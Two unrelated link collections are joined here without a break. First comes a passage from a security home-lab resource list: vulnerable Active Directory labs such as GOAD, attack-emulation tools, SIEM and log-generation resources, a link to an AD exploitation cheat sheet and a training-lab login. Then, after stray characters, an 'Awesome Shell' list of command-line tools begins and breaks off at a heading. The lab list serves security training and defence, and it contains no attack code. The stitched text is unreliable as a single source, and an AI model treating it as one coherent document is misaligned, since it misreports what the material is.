- Part 4: https://redsiege.com/blog/2022/06/creating-a-simple-windows-domain-for-offensive-testing-part-4/
From [@secopsgeek](https://twitter.com/Secopsgeek), how to [ElasticXDR 8.2.0](https://youtu.be/NLdPE4erV5c) Gitbook Build Overview
## Automated lab creation tools
GOAD is a pentest active directory LAB project. The purpose of this lab is to give pentesters a vulnerable Active directory environment ready to use to practice usual attack techniques.
- [Main page](https://github.com/Orange-Cyberdefense/GOAD)
- [Tools to help deploy GOAD](https://github.com/lkarlslund/deploy-goad)
- [Walk Through](https://mayfly277.github.io/)
Alternative to GOAD by @MJHallenbeck
- https://github.com/Marshall-Hallenbeck/red_team_attack_lab
[AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
is a provisioning solution and framework that lets you deploy complex labs on HyperV and Azure with simple PowerShell scripts. It supports all Windows operating systems from 2008 R2 to 2019, some Linux distributions and various products like AD, Exchange, PKI, IIS, etc.
[Splunk Attack range](https://github.com/splunk/attack_range)
[Purple Cloud](https://github.com/iknowjason/PurpleCloud) - An Infrastructure as Code (IaC) deployment of a small Active Directory pentest lab in the cloud. The deployment simulates a semi-realistic corporate enterprise Active Directory with a DC and endpoints. Purple team goals include blue team detection capabilities and R&D for detection engineering new approaches.
Cyb3rWard0g has [Microsoft-Sentinel2Go](https://github.com/OTRF/Microsoft-Sentinel2Go) which contains scripts in github for multiple configurations to build an entire lab in Azure
[MS Defender Evaluation lab](https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/evaluation-lab-expanded-os-support-amp-atomic-red-team/ba-p/2993927) which includes Red Canary's atomic red team.
Microsoft Simuland complete lab environment with lessons
- https://simulandlabs.com/README.html
Automated build of Azure attack and detect lab by Roxana Kovaci (@RoxanaKovaci)
- https://github.com/mandiant/Azure_Workshop
[Websploit](https://websploit.org/) by @santosomar
## How to's and Building Home Lab references
The [UK National Cyber Security Center](https://github.com/ukncsc/lme) has a great project for small/home offices to help them get started with logging. This can be used for home labs as well. Not a full SIEM solution, but a start.
Offensive Security has a [great blog](https://www.offensive-security.com/offsec/tjnulls-guide-to-building-a-home-lab/) with lots of details and links with a video [here](https://youtu.be/Ed1ujM3xWNg)
Monitoring your Proxmox environment with Security Onion by @null@puddle.town (on Mastodon)
- https://blog.puddle.town/proxmox-span/
Building ELK SIEM in in two videos, [part 1](https://youtu.be/HI072Rkthoc) and [part 2](https://youtu.be/mIXf2k9BQ3k)
Building ELK SIEM in [blog format](https://www.hackingarticles.in/threat-hunting-log-monitoring-lab-setup-with-elk/)
Cyberrange options to deploy in Azure: https://levelup.gitconnected.com/building-azure-cyber-ranges-for-learning-and-fun-9df1debb2eae?gi=e662f36c25fb
Series of videos for [building a home lab](https://youtube.com/playlist?list=PLDqMNdDvMsRkmtiKcZwbhOz7MeLQE0r3G) by @DayCyberwox:
[Watch this talk](https://youtu.be/EtlI04dJWX4) with SANS Certified Instructor and course author Justin Henderson, as he shares what the steps are in building out a detection oriented blue team lab.
[AWS Pen-Testing Laboratory](https://www.kitploit.com/2021/06/aws-pen-testing-laboratory-pentesting.html) - Pentesting Lab With A Kali Linux Instance Accessible Via Ssh And Wireguard VPN And With Vulnerable Instances In A Private Subnet
Here is a [video](https://www.youtube.com/watch?v=X3TyFji-jEw) from Black Hat Trainings in 2020
Video https://youtu.be/yDWug2zhjyA
From [@HBRH_314](https://twitter.com/HBRH_314), a [video of Malware Analysis](https://youtu.be/whApbC5OvOs) Fundamentals to create an analysis environment for safe inspection of malware utilizing Remnux and FLARE VM.
Video from [@watsoninfosec](https://twitter.com/watsoninfosec) on his [home lab build](https://youtu.be/-1kwszraub0)
A (very short) introduction to [kne](https://blog.itsalwaysthe.network/posts/kubernetes-based-network-emulation/) from [@supertylerc](https://twitter.com/supertylerc), a project from Google that lets you run virtual network topologies in Kubernetes.
This repo from Black Hills contains guidance on setting up [event logging](https://github.com/blackhillsinfosec/EventLogging).
Building a SOC lab at home
- https://app.letsdefend.io/training/lessons/building-a-soc-lab-at-home
Buidling an infosec home lab from scratch
- https://youtube.com/playlist?list=PLyJqGMYm0vnP9sgEGRxmhUKFQVVz68Cbh
This guy has a TON of videos that can help with your home lab
- https://www.youtube.com/@ITSecurityLabs/videos
Blog series for building a home lab. First post here
- https://facyber.me/posts/blue-team-lab-guide-part-1/
## Tools and configurations to build your home lab
Creating a vulnerable Active Directory to test attack tools and detections
https://github.com/WazeHell/vulnerable-AD
Here is the video explaining it's use @steelcon 2022 by @myexploit2600 and @ZephrFish (mature language)
https://youtu.be/8VvLJfAFGcA
Filtering DNS and HTTPS Traffic on pfSense
https://docs.diladele.com/tutorials/filtering_https_traffic_squid_pfsense/index.html
BadBlood - BadBlood by @davidprowe, Secframe.com, fills a Microsoft Active Directory Domain with a structure and thousands of objects:
https://github.com/davidprowe/BadBlood
Powershell script to create AD Domain Controller and Workstation
https://browninfosecguy.com/Active-Directory-Lab-Setup-Tool
From Wazehell, Create a [vulnerable active directory](https://github.com/WazeHell/vulnerable-AD) that's allowing you to test most of active directory attacks in local lab
From [@ajpc500](https://twitter.com/ajpc500), a quick and dirty [PowerShell script](https://gist.github.com/ajpc500/3a86ba1741d4868b69be5ce3a142d527) to install Sysmon (SwiftOnSecurity config), SilkService and Winlogbeat, and forward the logs on to HELK. Might be useful for those looking to quickly configure endpoint logs in a lab environment
[Laurel](https://github.com/threathunters-io/laurel) turns Linux auditd logs into JSON format for easier ingestion into SIEM
## Attacker Simulation / Emulation
Atomic Red Team
- [Homepage](https://redcanary.com/atomic-red-team/)
- [Explore Atomic Red Team](https://atomicredteam.io/)
- From Swimlane, [Automating Red Canary's atomic-red team](https://www.atomic-operator.com/)
Stratus Red Team is "Atomic Red Team™" for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner. Uses AWS and Sumo Logic
- [Main Page](https://github.com/DataDog/stratus-red-team)
- [Extra Documentation](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection)
Florian Roth's [@cyb3rops](https://twitter.com/cyb3rops) company released a [ransomware emulator](https://github.com/NextronSystems/ransomware-simulator)
Black Hills has [tools](https://www.activecountermeasures.com/threat-simulation-overview-and-setup/) to generate suspicious activity
Swimlane released [Atomic-Operator](https://www.atomic-operator.com/0.8.5/)
## Free/demo software:
[Cribl](https://cribl.io/download/) is an awesome data router/parser/mover/enhancer
Rapid7 [InsightIDR](https://www.rapid7.com/try/insightidr/) Free Trial (SIEM)
Other resources for free/cheap software referenced in the SANS webcasts: https://github.com/aboutsecurity/blueteam_homelabs
Direct link to download free [Microsoft Hypber-V](https://www.microsoft.com/en-us/evalcenter/evaluate-hyper-v-server-2019) server
Splunk Free 500MB/day, 50 GB/day during trial. Or apply for a developer license. Or use a limited Splunk Cloud free license
ELK Open source is free.
Sumo Logic Free account for 1 GB/day
Panther is a modern SIEM built for security operations at scale. Code is [here](https://github.com/panther-labs/panther-analysis)
[Tidal](https://www.tidalcyber.com/blog/announcing-general-availability-of-the-tidal-community-edition) is a threat intel platform
## Generating data for you lab
Cyb3rWard0g and Cyb3rPandaH have a great site with [malicious data sets](https://securitydatasets.com/introduction.html)
Sample MS Windows [logs in evtx format](https://github.com/NextronSystems/evtx-baseline) from Nextron Systems
A github repository by @ubeeri to [generate fake user activity](https://github.com/ubeeri/Invoke-UserSimulator)
A quick and dirty HTTP/S "organic" [traffic generator](https://github.com/philhagen/web-traffic-generator)
Swimlane has open sourced a [tool](https://github.com/swimlane/soc-faker) to generate a lot of different types of data
[ntTraceControl](https://github.com/airbus-cert/ntTraceControl) is a set of Powershell commands to forge/generate Windows logs
Here are some other ways to generate data to be collected by your SIEM
https://pypi.org/project/log-generator/
https://logs.to/
https://nxlog.co/documentation/nxlog-user-guide/generating-test-data.html
https://github.com/tdunning/log-synth
Create network traffic to stress test network devices: https://www.candelatech.com/downloads.php
Scripts to configure windows logging at different levels
- https://github.com/blackhillsinfosec/EventLogging
Here are some good MS logs to baseline your environment
- https://github.com/NextronSystems/evtx-baseline
## Other resources
Installing Let's Encrypt on your PFSense firewall
- https://gainanov.pro/eng-blog/linux/installing-lets-encrypt-pfsense/
Podcast/Videos on various topics for building stuff for your lab:
- [Homepage](https://thehomelab.show/)
- [Videos](https://youtube.com/playlist?list=PLjGQNuuUzvmtAzqgH7PVvnF_v0X9ZKMeA)
Justin Henderson from SANS SEC555 has a couple [free labs](https://t.co/pLipGouXDj)
User: student Password: sec555
And of course there is at least one [homelab reddit](https://www.reddit.com/r/homelab/)
Here is a whole thread on labs. Including networking, not just security
- [Original](https://twitter.com/JBizzle703/status/1433953668148219906?s=20)
- [Threadripped](https://threadreaderapp.com/thread/1433953668148219906.html)
Some great resources from Jeff McJunkin
[kickasslab](https://bit.ly/kickasslab) and [video](https://www.youtube.com/watch?v=KogdkuEbfwc)
A Guide to log formats from [Greylog](https://www.graylog.org/post/log-formats-a-complete-guide)
Attacking AD [cheat sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
Blog series by [Josh Wright](https://twitter.com/joswr1ght) on working with event logs in powershell
- https://www.sans.org/blog/working-with-event-log-part-1/
- https://www.sans.org/blog/working-with-event-log-part-2-threat-hunting-with-event-logs/
- https://www.sans.org/blog/working-with-the-event-log-part-3-accessing-message-elements
- https://www.sans.org/blog/working-with-the-event-log-part-4-tweaking-event-log-settings/
## Other Platforms for learning
Blue Team Labs as free and paid plans
- https://blueteamlabs.online/
As does Cyberdefenders
- https://cyberdefenders.org/
-
|
```
█████╗ ██╗ ██╗███████╗███████╗ ██████╗ ███╗ ███╗███████╗
██╔══██╗██║ ██║██╔════╝██╔════╝██╔═══██╗████╗ ████║██╔════╝
███████║██║ █╗ ██║█████╗ ███████╗██║ ██║██╔████╔██║█████╗
██╔══██║██║███╗██║██╔══╝ ╚════██║██║ ██║██║╚██╔╝██║██╔══╝
██║ ██║╚███╔███╔╝███████╗███████║╚██████╔╝██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝
███████╗██╗ ██╗███████╗██╗ ██╗
██╔════╝██║ ██║██╔════╝██║ ██║
███████╗███████║█████╗ ██║ ██║
╚════██║██╔══██║██╔══╝ ██║ ██║
███████║██║ ██║███████╗███████╗███████╗
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
```
# Awesome Shell [![Awesome][awesome-badge]][awesome-link]
A curated list of awesome command-line frameworks, toolkits, guides and gizmos. Inspired by awesome-php. This awesome collection is also available on [Unix-Shell.ZEEF.com](https://unix-shell.zeef.com/caleb.xu).
- [Shells](#shells)
- [Command-Line Productivity](#command-line-productivity)
- [Directory Navigation](#directory-navigation)
- [Customization](#customization)
- [For Developers](#for-developers)
- [System Utilities](#system-utilities)
- [Downloading and Serving](#downloading-and-serving)
- [Multimedia and File Formats](#multimedia-and-file-formats)
- [Applications](#applications)
- [Games](#games)
- [Shell Package Management](#shell-package-management)
- [Shell Script Development](#shell-script-development)
- [Guides](#guides)
- [**Awesome Zsh**][awesome-zsh] [![Awesome][awesome-badge]][awesome-zsh]
- [**Awesome Fish**][awesome-fish] [![Awesome][awesome-badge]][awesome-fish]
- [Other Awesome Lists](#other-awesome-lists)
## Shells
*Choose your base shell.*
* [bash](https://www.gnu.org/software/bash/) - GNU Project's shell (Bourne Again SHell)
* [elvish](https://elv.sh/) - Friendly, expressive shell features like anonymous functions and data structures
* [es](https://wryun.github.io/es-shell/) - The extensible shell, based on Plan 9's [rc](https://github.com/rakitzis/rc) shell
* [fish](https://fishshell.com) - Smart and user-friendly command line shell
* [ion](https://github.com/redox-os/ion) - A modern system shell that features a simple, yet powerful, syntax. It is written entirely in Rust.
* [ksh93](https://github.com/att/ast) - Korn Shell
* [mksh](https://github.com/MirBSD/mksh) - MirBSD Korn Shell
* [ngs](https://github.com/ngs-lang/ngs) - Fully featured scripting language created specifically for Ops. REPL is being developed.
* [nushell](https://github.com/nushell/nushell) - A modern shell written in Rust
* [oksh](https://github.com/ibara/oksh) - Portable OpenBSD ksh
* [osh](https://www.oilshell.org) - Bash compatible, with new/modern Unix shell language called Oil
* [pdksh](https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/bin/ksh/) - Public domain Korn shell
* [powershell](https://docs.microsoft.com/en-us/powershell/scripting/overview) a cross-platform task automation and configuration management framework, consisting of a command-line shell and scripting language
* [shell++](https://github.com/alexst07/shell-plus-plus) - Friendly and modern functional and object oriented shell script language
* [shenv](https://github.com/shenv/shenv) - Simple shell version management
* [tcsh](https://www.tcsh.org/) - C shell with file name completion and command line editing
* [xonsh](https://xon.sh) - Python-ish, BASHwards-looking shell language and command prompt
* [yash](https://yash.osdn.jp/) - A POSIX-compliant command line shell with built-in support for completion and prediction based on command history
* [zsh](https://www.zsh.org) - Powerful shell with scripting language
## Command-Line Productivity
*Search, bookmarks, multiplexing, and other tools that make your terminal experience more productive.*
* [AdvancedNewFile](https://github.com/tanrax/terminal-AdvancedNewFile) - Fast creation of files and directories in a recursive way. Inspired by the Vim plugin.
* [ag](https://github.com/ggreer/the_silver_searcher) - Super fast string search through a directory hierarchy
* [aliases](https://github.com/sebglazebrook/aliases) - Contextual, dynamic, organized aliases for bash
* [arttime](https://github.com/reportaman/arttime) - Beauty of text art meets functionality of clock, timer, pomodoro++ time manager
* [autoenv](https://github.com/inishchith/autoenv) - Directory-based environments
* [await](https://github.com/slavaGanzin/await) - single binary that run list of commands in parallel and waits for their termination
* [bartib](https://github.com/nikolassv/bartib) - A simple timetracker for the command line. It saves a log of all tracked activities as a plaintext file and allows you to create flexible reports.
* [bashhub](https://github.com/rcaloras/bashhub-client) - :cloud: Bash history in the cloud. Indexed and searchable.
* [boilr](https://github.com/tmrts/boilr) - A blazingly fast CLI tool for creating projects from boilerplate templates.
* [boom](https://github.com/holman/boom) - Store links and snippets in the command line
* [borg](https://github.com/ok-borg/borg) - A terminal based search engine for bash commands
* [broot](https://github.com/Canop/broot) - A better way to navigate directories
* [browsh](https://github.com/browsh-org/browsh) - The modern text-based browser
* [Buku](https://github.com/jarun/Buku) - Powerful command-line bookmark manager
* [byobu](https://www.byobu.org) - Text-based window manager and terminal multiplexer
* [cod](https://github.com/dim-an/cod) — A completion daemon for shell that learns when you invoke `--help` commands
* [CloudClip](https://github.com/skywind3000/CloudClip) - Your own clipboard in the cloud, copy and paste text with gist between different systems
* [ddgr](https://github.com/jarun/ddgr) - DuckDuckGo from the terminal
* [desk](https://github.com/jamesob/desk) - A lightweight workspace manager for the shell
* [direnv](https://github.com/direnv/direnv) - An environment switcher for the shell, compare with autoenv
* [dnote](https://github.com/dnote/dnote) - A simple command line notebook with multi-device sync and web interface
* [eureka](https://github.com/simeg/eureka/) - :bulb: CLI tool to input and store your ideas without leaving the terminal
* [fasd](https://github.com/clvv/fasd) - Command-line productivity booster, offers quick access to files and directories
* [fd](https://github.com/sharkdp/fd) - A simple, fast and user-friendly alternative to find.
* [foxy](https://github.com/s-p-k/foxy) - Plain text bookmarks for Firefox and surf browsers.
* [fselect](https://github.com/jhspetersson/fselect) - Find files with SQL-like queries.
* [funky](https://github.com/bbugyi200/funky) - Extends functionality of shell functions making them more powerful and flexible.
* [fz](https://github.com/changyuheng/fz) - Seamless fuzzy tab completion for z
* [fzf](https://github.com/junegunn/fzf) - A command-line fuzzy finder
* [gitmux](https://github.com/arl/gitmux) - Show Git status in Tmux status bar
* [googler](https://github.com/jarun/googler) - Google Search, Google Site Search, Google News from the terminal
* [googlr](https://github.com/Astranno/googlr) - Command line tool that lets you search Google from your terminal.
* [has](https://github.com/kdabir/has) - `has` helps you check presence of various command line tools and their versions on path
* [how2](https://github.com/santinic/how2) - `how2` finds the simplest way to do something in a unix shell. It's like `man`, but you can query it in natural language.
* [navi](https://github.com/denisidoro/navi) - An interactive cheatsheet tool for the command-line
* [hhighlighter](https://github.com/paoloantinori/hhighlighter) - Colorize words in a command output
* [hr](https://github.com/LuRsT/hr) - `<hr />` for your terminal
* [hss](https://github.com/six-ddc/hss) - An interactive parallel ssh client featuring autocomplete and asynchronous execution
* [hstr](https://github.com/dvorka/hstr) - Bash History Suggest Box
* [k](https://github.com/supercrabtree/k) - k is a Zsh script to make directory listings more readable, adding Git status, fileweight colors and rotting dates
* [k alias](https://github.com/lingtalfi/k) - get kool aliases (and more) working with a simple one-liner
* [lf](https://github.com/gokcehan/lf) - Terminal file manager written in Go, inspired by ranger
* [lf.sh](https://github.com/suewonjp/lf.sh) - Quickly search files with fewer typings and do many more (grepping, copying path to clipboard, etc)
* [lowcharts](https://github.com/juan-leon/lowcharts) - Draw low-resolution graphs in terminal
* [Lmod](https://lmod.readthedocs.io/en/latest/) - Lua-based Environment Modules that enhances Tcl-based modules while being backward compatible (compare to modules)
* [loop](https://github.com/Miserlou/Loop) - Write and control complex loops with as one-liners
* [marker](https://github.com/pindexis/marker) - Bookmark your shell commands
* [mackup](https://github.com/lra/mackup/) - Keep your application settings in sync (OS X/Linux)
* [mcfly](https://github.com/cantino/mcfly) - Fly through your shell history. Great Scot!
* [modules](http://modules.sourceforge.net/) - Classical Tcl-based Environment Modules managing the shell environment (compare to Lmod, direnv, and autoenv)
* [nnn](https://github.com/jarun/nnn) - File browser and disk usage analyzer with excellent desktop integration
* [parallel](https://www.gnu.org/software/parallel/) - Build and execute shell command lines from standard input in parallel
* [pass](https://www.passwordstore.org/) - Manage passwords from the command line with GPG encryption and optional git integration.
* [pathpicker](https://github.com/facebook/PathPicker) - Accepts inputs like grep, searches, git etc; allows selecting files from the result of the input, which you can then open or provide as argument to a command.
* [pdd](https://github.com/jarun/pdd) - Tiny date, time diff calculator with timers
* [percol](https://github.com/mooz/percol) - Adds flavor of interactive filtering to the traditional pipe concept of UNIX shell
* [q](https://github.com/cal2195/q) - Vim like macro registers for your Bash and Zsh Shell
* [qfc](https://github.com/pindexis/qfc) - File-completion widget for Bash and Zsh
* [resh](https://github.com/curusarn/resh) - Contextual shell history for Zsh and Bash
* [rg](https://github.com/BurntSushi/ripgrep) - ripgrep is a line oriented search tool that combines the usability of The Silver Searcher with the raw speed of GNU grep
* [screen](https://www.gnu.org/software/screen/) - GNU terminal multiplexer
* [shell-history](https://github.com/pawamoy/shell-history) - Visualize your shell usage with Highcharts
* [SHML](https://github.com/odb/shml) - Style framework for the terminal (Shell Markup Language)
* [slugify](https://github.com/benlinton/slugify) - Command that converts filenames and directories to a web friendly format
* [sman](https://github.com/tokozedg/sman) - :bug: A command-line snippet manager
* [spark](https://github.com/holman/spark) - ▁▂▃▅▂▇ in your shell
* [spark.fish](https://github.com/jorgebucaran/spark.fish) - ▁▂▃▅ Sparkline Generator
* [sheet](https://github.com/oscardelben/sheet) - Text snippets for the command line
* [spot](https://github.com/rauchg/spot) - Tiny file search utility
- [snips](https://github.com/srijanshetty/snips) - Command line tool to manage snippets of code.
* [sqlline](https://github.com/julianhyde/sqlline) - Shell for issuing SQL to relational databases via JDBC (multiline, completion, highlighting, dialect support)
* [sshfs](https://github.com/osxfuse/sshfs) - A tool for mounting remote file systems over SSH
* [sudocabulary](https://github.com/badarsh2/Sudocabulary) - Learn English Vocabulary from your terminal
* [surfraw](https://gitlab.com/surfraw/Surfraw) - browse specific site and search the web from your terminal without browser.
* [task-manager](https://github.com/lingtalfi/task-manager) - Execute all your scripts with just two or three keystrokes.
* [td-cli](https://github.com/darrikonn/td-cli) - A todo command line manager to organize and manage your todos across multiple projects.
* [tere](https://github.com/mgunyho/tere) - A faster alternative to cd + ls
* [thefuck](https://github.com/nvbn/thefuck) - Fix common shell mistakes by using an easy to remember command
* [tldr](https://github.com/raylee/tldr-sh-client) - A fully-functional bash client for tldr, simplified and community-driven man pages
* [tmux](https://tmux.github.io/) - Amazing terminal multiplexer
* [undollar](https://github.com/xtyrrell/undollar) - undollar bites the dollar sign off the tip of the command you just pasted into your terminal
* [usql](https://github.com/xo/usql) - Universal command-line interface for SQL databases.
* [v](https://github.com/rupa/v) - z for vim.
* [wemux](https://github.com/zolrath/wemux) - Multi-User Tmux Made Easy
* [xiki](https://xiki.org) - Makes the shell console more friendly and powerful
* [xplr](https://github.com/sayanarijit/xplr) - A hackable, minimal, fast TUI file explorer
* [xsv](https://github.com/BurntSushi/xsv) - a fast CSV command line toolkit written in Rust
* [xxh](https://github.com/xxh/xxh) - Bring your favorite shell wherever you go through the SSH.
### Directory Navigation
* [aliasme](https://github.com/Jintin/aliasme) - alias helper to change directory quickly
* [autojump](https://github.com/wting/autojump) - A cd command that learns - easily navigate directories from the command line
* [bashmarks](https://github.com/huyng/bashmarks) - Directory bookmarks for the shell
* [bd](https://github.com/vigneshwaranr/bd) - Quickly go back to a parent directory
* [commacd](https://github.com/shyiko/commacd) - A faster way to move around in Bash
* [enhancd](https://github.com/b4b4r07/enhancd) - :rocket: A next-generation cd command with an interactive filter
* [goto](https://github.com/iridakos/goto) - A shell utility for navigation to aliased directories supporting auto-completion
* [jump](https://github.com/gsamokovarov/jump) - Jump helps you navigate your file system faster by learning your habits.
* [lazy-cd](https://github.com/pedramamini/lazy-cd) - Simple bash commands for bookmarked navigation of the file system, complete with bash-completion.
* [up](https://github.com/shannonmoeller/up) - Ascend directories by name or count; for bash, zsh, and fish.
* [z](https://github.com/rupa/z) - z is the new j, yo
* [z.lua](https://github.com/skywind3000/z.lua) - A new cd command that helps you navigate faster by learning your habits
* [zoxide](https://github.com/ajeetdsouza/zoxide) - A faster way to navigate your filesystem, written in Rust
* [zpyi](https://github.com/sakshamsharma/zpyi) - Python in Zsh - Easy python scripting in shell
## Customization
*Custom prompts, color themes, etc.*
* [aphrodite-terminal-theme](https://github.com/win0err/aphrodite-terminal-theme) — Minimalistic Aphrodite theme (prompt) for sexy terminals that works in bash, fish and zsh
* [base16-builder](https://github.com/base16-builder/base16-builder) - Base16-Builder
* [bash-full-of-colors](https://github.com/slomkowski/bash-full-of-colors) - Powerful prompt with screen, tmux, git support and many more
* [bash-git-prompt](https://github.com/magicmonty/bash-git-prompt) - An informative and fancy Bash prompt for Git users
* [bash-powerline](https://github.com/riobard/bash-powerline) - Powerline-style Bash prompt in pure Bash script
* [bashstrap](https://github.com/barryclark/bashstrap) - A quick way to spruce up OSX terminal
* [bullet-train-oh-my-zsh-theme](https://github.com/caiogondim/bullet-train.zsh) - :bullettrain_side: An oh-my-zsh shell theme based on the Powerline Vim plugin
* [emojify](https://github.com/mrowa44/emojify) Emoji on the command line :scream:
* [flatui-terminal-theme](https://dribbble.com/shots/1021755-Flat-UI-Terminal-Theme) - Nicer colors for terminal
* [geometry](https://github.com/geometry-zsh/geometry) - A minimal ZSH theme where any function can be added to the left prompt or (async) right prompt on the fly.
* [git-prompt](https://github.com/lvv/git-prompt) - Bash prompt with Git, SVN and HG modules
* [gittify](https://github.com/momeni/gittify) - A colorful Bash prompt + customized Git aliases
* [Gogh - Color Scheme](https://github.com/Mayccoll/Gogh) - Color Scheme for Gnome Terminal
* [liquidprompt](https://github.com/nojhan/liquidprompt) - A full-featured & carefully designed adaptive prompt for Bash & Zsh
* [mysql-colorize](https://github.com/zpm-zsh/mysql-colorize) - Colorization for mysql comand-line client
* [oh-my-git](https://github.com/arialdomartini/oh-my-git) - An opinionated git prompt for bash and zsh
* [oh-my-posh](https://ohmyposh.dev) - Prompt theme engine for any shell and platform written in go.
* [polyglot](https://github.com/agkozak/polyglot) - An informative Git prompt that works in bash, zsh, ksh, mksh, pdksh, oksh, dash, yash, busybox sh, and osh
* [powerlevel10k](https://github.com/romkatv/powerlevel10k) - Super flexible awesome powerline ZSH theme
* [sexy-bash-prompt](https://github.com/twolfson/sexy-bash-prompt) - Bash prompt with colors, Git statuses, and Git branches
* [starship](https://starship.rs/) - Fast, customisable, cross-shell prompt written in rust
* [synth-shell](https://github.com/andresgongora/synth-shell) - Greeter with a customizable status report and a fancy bash prompt
## For Developers
*Command-line development, version control, and deployment.*
* [1Password SSH Agent](https://developer.1password.com/docs/ssh/) - Authenticate Git and SSH workflows with biometric unlock using 1Password
* [ack](https://beyondgrep.com/) - A grep-like search tool optimized for source code.
* [add-gitignore](https://github.com/TejasQ/add-gitignore) - Interactive CLI that generates a .gitignore for your project based on your needs.
* [bcal](https://github.com/jarun/bcal) - Byte CALculator for storage conversions and calculations
* [bitwise](https://github.com/mellowcandle/bitwise) - Terminal based interactive bit manipulator in curses.
* [bocker](https://github.com/p8952/bocker) - Docker implemented in 100 lines of bash
* [cloc](https://github.com/AlDanial/cloc) - Count Lines of Code
* [doclt](https://github.com/omgimanerd/doclt) - A command line interface to Digital Ocean
* [dokku](https://github.com/dokku/dokku) - Docker powered mini-Heroku. The smallest PaaS implementation you've ever seen.
* [forgit](https://github.com/wfxr/forgit) - Utility tool for `git` taking advantage of fuzzy finder fzf.
* [git-extra-commands](https://github.com/unixorn/git-extra-commands) - Many Git extra utilities. Churn, cut-branch, improved-merge and many more.
* [git-extras](https://github.com/tj/git-extras) - Git utilities -- repo summary, repl, changelog population, author commit percentages and more
* [git-open](https://github.com/paulirish/git-open) - Type `git open` to open the GitHub page or website for a repository in your browser
* [git-quick-stats](https://github.com/arzzen/git-quick-stats) - Git quick statistics is a simple and efficient way to access various statistics in git repository.
* [git-semver](https://github.com/markchalloner/git-semver) - Git plugin for easing semantic versioning and changelog validation
* [git-sh](https://github.com/rtomayko/git-sh) - A customized Bash environment suitable for Git work
* [gita](https://github.com/nosarthur/gita) - A command-line tool to manage multiple git repos.
* [hub](https://github.com/github/hub) - hub helps you win at git.
* [just](https://github.com/casey/just) - Task runner for saving and running project-specific commands.
* [licins](https://github.com/dogoncouch/licins) - Insert commented software licenses into source code.
* [mkdkr](https://github.com/rosineygp/mkdkr) - Makefile + Docker = CI Pipeline
* [mr](https://myrepos.branchable.com) - Multiple Repository management tool
* [nve](https://github.com/ehmicky/nve) - Run any command on specific Node.js versions.
* [overcommit](https://github.com/sds/overcommit) - A fully configurable and extendable Git hook manager
* [pre-commit](https://pre-commit.com) - A framework for managing and maintaining multi-language pre-commit hooks
* [rebound](https://github.com/shobrook/rebound) - Instantly browse Stack Overflow results in your terminal when you get a compiler error
* [repren](https://github.com/jlevy/repren) - Command-line search-and-replace and file-renaming swiss army knife
* [slap](https://github.com/slap-editor/slap) - Sublime-like terminal-based text editor that runs on Node.js
* [shipit](https://github.com/sapegin/shipit) - Minimalistic SSH deployment
* [starring](https://github.com/ritz078/starring) - Automatically star the npm-packages that you are using on GitHub.
* [tag](https://github.com/aykamko/tag) - Instantly jump to your ag matches.
* [trunk](https://www.npmjs.com/package/@trunkio/launcher) - Blazingly fast meta code checker and formatter
* [vmn](https://github.com/final-israel/vmn) - git-based automatic versioning and state recovery solution agnostic to language or architecture
* [wipe-modules](https://github.com/bntzio/wipe-modules) - A little agent that removes the node_modules folder of non-active projects
## System Utilities
*OS-related tools, including system administration, system debugging, and file and process management.*
* [atop](https://www.atoptool.nl) - ASCII full-screen performance monitor that is capable of reporting the activity of all processes
* [bat](https://github.com/sharkdp/bat) - A `cat` clone with wings
* [bmon](https://github.com/tgraf/bmon) - Real-time network bandwidth monitor and rate estimator with human-friendly visual output
* [btop](https://github.com/aristocratos/btop) - Linux/OSX/FreeBSD resource monitor
* [catcli](https://github.com/deadc0de6/catcli) - The command line catalog tool for your offline data
* [ccat](https://github.com/owenthereal/ccat) - ccat is the colorizing cat. It works similar to cat but displays content with syntax highlighting.
* [exa](https://github.com/ogham/exa) - A modern version of `ls`.
* [progress](https://github.com/Xfennec/progress) - Linux tool to show progress for `cp`, `rm`, `dd`, and more...
* [stronghold](https://github.com/alichtman/stronghold) - Easily configure MacOS security settings from the terminal.
* [glances](https://github.com/nicolargo/glances) - Glances an Eye on your system
* [goaccess](https://github.com/allinurl/goaccess) - GoAccess is a real-time web log analyzer and interactive viewer that runs in a terminal in \*nix systems.
* [hblock](https://github.com/hectorm/hblock) - Hosts-file based adblocker
* [histstat](https://github.com/vesche/histstat) - History for netstat
* [htop](https://github.com/hishamhm/htop) - A ncurses based interactive process viewer which aims to be a better `top`
* [lnav](https://lnav.org) - An advanced log file viewer for the small-scale
* [logdissect](https://github.com/dogoncouch/logdissect) - CLI utility and Python API for analyzing log files and other data.
* [ls++](https://github.com/trapd00r/ls--) - Colorized ls on steroids
* [lsd](https://github.com/Peltoche/lsd) - LSDeluxe, rewrite of GNU ls with lot of added features like colors, icons, tree-view and more formatting options.
* [lsp](https://github.com/dborzov/lsp) - An improved `ls`, with file descriptions in plain language and intelligent file grouping
* [maza](https://github.com/tanrax/maza-ad-blocking) - Local ad blocker. Like Pi-hole but local and using your operating system.
* [mtr](https://github.com/traviscross/mtr) - The functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool.
* [ncdu](https://dev.yorhel.nl/ncdu) - NCurses Disk Usage
* [nmtui](https://github.com/NetworkManager/NetworkManager) - Text User Interface for controlling NetworkManager
* [powertop](https://github.com/fenrus75/powertop) - Battery/Power usage and device stats monitoring command-line tool, with tune-up options.
* [prettyping](https://github.com/denilsonsa/prettyping) - Making the output of `ping` prettier, more colorful, more compact, and easier to read.
* [procdog](https://github.com/jlevy/procdog) - Lightweight command-line control of long-lived processes like servers
* [quick-secure](https://github.com/marshyski/quick-secure) - Quickly secure and harden UNIX/Linux systems
* [rng](https://github.com/nickolasburr/rng) - Copy range of lines from file or stdin to stdout.
* [tiptop](https://github.com/nschloe/tiptop) - Graphical command-line system monitor.
* [wifi-wand](https://github.com/keithrbennett/wifiwand) - a Ruby command line application for managing WiFi on MacOS (install by `gem install wifi-wand`)
* [xiringuito](https://github.com/ivanilves/xiringuito) - SSH-based "VPN for poors"
## Downloading and Serving
*Self-hosted, lightweight servers and networking tools written in shell scripts.*
